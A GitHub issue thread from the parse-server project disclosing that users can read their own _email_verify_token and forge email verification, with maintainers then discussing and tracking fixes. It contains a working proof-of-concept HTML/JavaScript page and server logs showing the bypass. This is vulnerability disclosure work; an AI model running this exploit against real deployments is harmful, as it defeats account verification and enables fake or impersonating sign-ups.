Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability: Email verification can be circumvented by reading _email_verify_token #3432

Closed
haapaan opened this issue Jan 25, 2017 · 10 comments

Comments

@haapaan
Copy link

haapaan commented Jan 25, 2017

User who has just signed up, can get his/her email verified without having to click the link in the email.

The root cause of the problem is that _email_verify_token can be read by the user.
(There is another issue #3393 where problem is that emailVerified can be written by the user.)

Steps to reproduce

  1. Set the following settings in the server.js:
    verifyUserEmails: true,
    emailVerifyTokenValidityDuration: 2 * 60 * 60,
    preventLoginWithUnverifiedEmail: true,

  2. signup, and get the _email_verify_token with /parse/users/me

  3. Fabricate email verification URL and redirect browser there

Here is sample page that does just that:
<html>
<head>
<script type="text/javascript" src="https://npmcdn.com/parse/dist/parse.js"\>\</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"\>\</script>
<script type="text/javascript">
function signupAndFakeEmailVerification()
{
Parse.initialize('e5c10b31d8716509af3e571260aed8b571dcdec1');
Parse.serverURL = 'http://127.0.0.1:8888/parse';

    var user = new Parse.User();
    user.set("username", "hacker2");
    user.set("password", "passwd");
    user.set("email", "hacker@example.com");

    user.signUp(null, {
          success: function(user) {			  
             // Signup succeeded
             alert("Signup succeeded " +user);			
			
			$.ajaxSetup({
                headers : {
                'X-Parse-Application-Id' : 'e5c10b31d8716509af3e571260aed8b571dcdec1',
                'X-Parse-Session-Token' : Parse.User.current().getSessionToken()
                }
             });
			 
		     // Circumvent email verification by getting _email_verify_token
             $.getJSON('http://127.0.0.1:8888/parse/users/me', function (data) {
				window.location = 'http://127.0.0.1:8888/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token='+data._email_verify_token+'&username=hacker2';
             })
			 .error(function(jqXHR, textStatus, errorThrown) {
                  alert("error " + textStatus);
                  alert("incoming Text " + jqXHR.responseText);
             });				

			alert("new user " + newuser);			
          },
          error: function(user, error) {
            alert("Error: " + error.code + "\n\nwhat is the error \n\n " + error.message);
          }
    });   

}
</script>
</head>
<body onload="signupAndFakeEmailVerification()">
</body>
</html>

Expected Results

User is not able to read his/her _email_verify_token in step 2.

Actual Outcome

User can read his/her _email_verify_token, and thus fabricate the email verification link.
Email verification succeeds and now user has emailVerified true in the database.

Environment Setup

  • Server

    • parse-server version : 2.3.2
    • Operating System: Ubuntu 14.04.5 LTS (running on VirtualBox virtual machine)
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost
  • Database

    • MongoDB version: v3.0.9
    • Storage engine: default
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost

Logs/Trace

verbose: REQUEST for [POST] /parse/users: {
"username": "hacker2",
"password": "",
"email": "hacker@example.com"
} method=POST, url=/parse/users, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, content-type=text/plain, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive, content-length=215, username=hacker2, password=
, email=hacker@example.com
info: beforeSave triggered for _User for user undefined:
Input: {"username":"hacker2","password":"","email":"hacker@example.com","ACL":{}}
Result: {"object":{"ACL":{},"username":"hacker2","password":"
","email":"hacker@example.com"}} className=_User, triggerType=beforeSave, user=undefined
verbose: RESPONSE from [POST] /parse/users: {
"status": 201,
"response": {
"objectId": "rkaOIgFssv",
"createdAt": "2017-01-20T14:37:28.752Z",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
},
"location": "http://127.0.0.1:8888/parse/users/rkaOIgFssv"
} status=201, objectId=rkaOIgFssv, createdAt=2017-01-20T14:37:28.752Z, read=true, write=true, sessionToken=r:01d90b5949931fa92aea0d892075253c, location=http://127.0.0.1:8888/parse/users/rkaOIgFssv
verbose: REQUEST for [GET] /parse/users/me: {} method=GET, url=/parse/users/me, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=application/json, text/javascript, /; q=0.01, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, x-parse-application-id=e5c10b31d8716509af3e571260aed8b571dcdec1, x-parse-session-token=r:01d90b5949931fa92aea0d892075253c, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/users/me: {
"response": {
"username": "hacker2",
"createdAt": "2017-01-20T14:37:28.752Z",
"emailVerified": false,
"email": "hacker@example.com",
"updatedAt": "2017-01-20T14:37:28.752Z",
"objectId": "rkaOIgFssv",
"_email_verify_token_expires_at": {
"__type": "Date",
"iso": "2017-01-20T16:37:28.858Z"
},
"_email_verify_token": "s86MRoputHM3CAn7CWGDukPlM",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"__type": "Object",
"className": "_User",
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
}
} username=hacker2, createdAt=2017-01-20T14:37:28.752Z, emailVerified=false, email=hacker@example.com, updatedAt=2017-01-20T14:37:28.752Z, objectId=rkaOIgFssv, __type=Date, iso=2017-01-20T16:37:28.858Z, _email_verify_token=s86MRoputHM3CAn7CWGDukPlM, read=true, write=true, __type=Object, className=_User, sessionToken=r:01d90b5949931fa92aea0d892075253c
verbose: REQUEST for [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {} method=GET, url=/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, upgrade-insecure-requests=1, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {
"status": 302,
"location": "http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2"
} status=302, location=http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2

@cherukumilli
Copy link
Contributor

@haapaan
Good catch.

@bhaskaryasa @flovilmart

To fix the problem we need to update parse-server code to:
Solution 1: (needs major changes)

  • make a list of the hidden fields (_perishable_token, _email_verify_token, _password_history, ...)
  • move all these hidden fields out of the _User table into a _User_hidden table
  • restrict access to this _User_hidden table only to the masterkey user

Or

Solution 2: (easier. requires very few changes)

  • Update handleMe in UsersRouter.js, call unset on all the hidden fields before sending a response back to the client

Or
Is there a way to delete the hidden fields in RestQuery.js?

@flovilmart
Copy link
Contributor

I prefer solution 2, as it doesn't require any schema updates.
We could probably even not select the fields upon querying no?

@cherukumilli
Copy link
Contributor

@flovilmart

Looking at the code I am unable to figure out how to not select the hidden fields...

handleMe() has the following code snippet. It is grabbing the entire user and that is what is sent back in the response currently.

    return rest.find(req.config, Auth.master(req.config), '_Session',
      { sessionToken },
      { include: 'user' }, req.info.clientSDK)

rest.find and RestQuery() also do not appear to have a way to not select the hidden columns.

@bhaskaryasa
Copy link
Contributor

@cherukumilli @flovilmart
It looks like RestWrite is currently handling removal of hidden fields in sanitizedData. Surprisingly I don't see an equivalent in RestQuery.

@flovilmart
Copy link
Contributor

Those fields should be transformed like the _auth_data_facebook at one point or stripped out ATM. But yes, they are not filtered when issuing the query using a sort of select

@cherukumilli cherukumilli self-assigned this Feb 10, 2017
@cherukumilli
Copy link
Contributor

I will take a shot at fixing this issue over the weekend

@cherukumilli cherukumilli removed their assignment Apr 12, 2017
@montymxb
Copy link
Contributor

Closing this as resolved in #3681. Let us know if there's anything else that needs to be covered.

@gyratorycircus
Copy link
Contributor

gyratorycircus commented Nov 9, 2017

It looks like while this was addressed for /users/me, authenticating via /login still returns _email_verify_token.

EDIT: Created PR #4335 to fix this

@montymxb
Copy link
Contributor

@gyratorycircus checking against parse-server 2.6.5 I don't see the token leaking from the login endpoint. Can you indicate what version of parse-server you observed this in?

@montymxb
Copy link
Contributor

Took a second look based on the PR submitted above. Can confirm this is present under the login endpoint.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants